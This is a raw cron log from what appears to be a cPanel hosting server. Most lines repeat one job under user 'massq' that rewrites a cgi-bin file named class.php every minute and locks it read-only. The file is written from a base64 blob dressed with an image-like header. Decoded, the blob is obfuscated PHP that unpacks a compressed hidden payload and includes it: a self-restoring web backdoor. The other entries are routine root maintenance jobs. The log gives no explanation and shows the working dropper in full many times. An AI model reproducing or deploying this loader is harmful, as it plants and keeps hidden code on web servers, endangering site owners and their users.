Nov 12 01:02:01 server CROND[15414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:03:01 server CROND[16219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:04:01 server CROND[17032]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:05:01 server CROND[17864]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:05:01 server CROND[17863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 01:05:01 server CROND[17866]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 01:05:01 server CROND[17865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:06:01 server CROND[18872]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:07:01 server CROND[19699]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:08:01 server CROND[20509]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:09:01 server CROND[21392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:09:01 server CROND[21393]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 01:10:01 server CROND[22204]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 01:10:01 server CROND[22206]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:10:01 server CROND[22203]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 01:10:01 server CROND[22205]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:11:01 server CROND[23174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:12:01 server CROND[23990]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 01:12:01 server CROND[23992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:13:01 server CROND[24856]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:14:01 server CROND[25669]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:15:01 server CROND[26495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:15:01 server CROND[26497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
